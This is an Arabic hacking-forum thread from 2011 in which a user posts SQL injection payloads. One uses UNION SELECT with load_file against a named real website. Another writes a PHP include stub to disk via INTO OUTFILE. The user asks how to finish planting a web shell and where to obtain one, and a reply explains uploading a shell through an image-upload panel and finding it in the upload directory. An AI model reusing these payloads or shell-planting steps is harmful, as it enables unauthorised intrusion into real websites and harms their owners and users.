استفسار بسيط لمحتريفين المواقع

Dark Crypter · 02-25-2011, 07:30 PM

السلام عليكم ورحمته الله وبركاته

حبيت استفسر عن رفع الشل

طبعا في موقع وقبل ان بستقبل load_file('/')

يعني مثال

كود PHP:

  http://www.saigosl.com/productos_detalle.php?id=-37 union select 1,2,3,4,5,6,load_file('/'),8,9,10,11,12,13,14,15,16,17,18--

وتم وضع بدال load_file('/')

'<?include("$iraq"); ?>'

يعني اصبح

كود PHP:

 
www.target.com/file.php?id=-1+union+select+1,2,3,'<?include("$iraq"); ?>',5,6,7,8,9+into+outfile"

ما الخطوه الاخره
لتكمله رفع الشل
ومن اين احصل على شل

تحياتي الى الجميع

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC hsjtshv fsd' glpjvdtdk hgl,hru

aircrack -ng · 02-26-2011, 02:26 AM

حاول ترفع شيل مباشرة اول شيء في اللوحة قبل ماترفع يعني راح تلاقي مركز رفع الصور مثلا احمل بروبريتي لاي صورة موجودة مثلا طلع معانا كذا www.xxxxxxx.com/upload/image/ssssss.jpg احنا بناخذ هي www.xxxxxxx.com/upload/image/ بكاتبة العناوين ونظغط بعدين راح يظهر لنا كل الصور الي مرفوعة بعدين ارفع شلك واذا ماعرفتش مصاره اعمل هيك www.xxxxxxx.com/upload/image/ وبعدين ابحث عليه بين الصور وراح تلاقيه

Dark Crypter · 02-26-2011, 06:37 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	حاول ترفع شيل مباشرة اول شيء في اللوحة قبل ماترفع يعني راح تلاقي مركز رفع الصور مثلا احمل بروبريتي لاي صورة موجودة مثلا طلع معانا كذا www.xxxxxxx.com/upload/image/ssssss.jpg احنا بناخذ هي www.xxxxxxx.com/upload/image/ بكاتبة العناوين ونظغط بعدين راح يظهر لنا كل الصور الي مرفوعة بعدين ارفع شلك واذا ماعرفتش مصاره اعمل هيك www.xxxxxxx.com/upload/image/ وبعدين ابحث عليه بين الصور وراح تلاقيه

شكرا لك اخي
لكن اغلب مواقع لا ترفع الشل

اذا عندك طريقه اخرى
شكرا لك

استفسار بسيط لمحتريفين المواقع

جـــ'ابات العناكــ'ب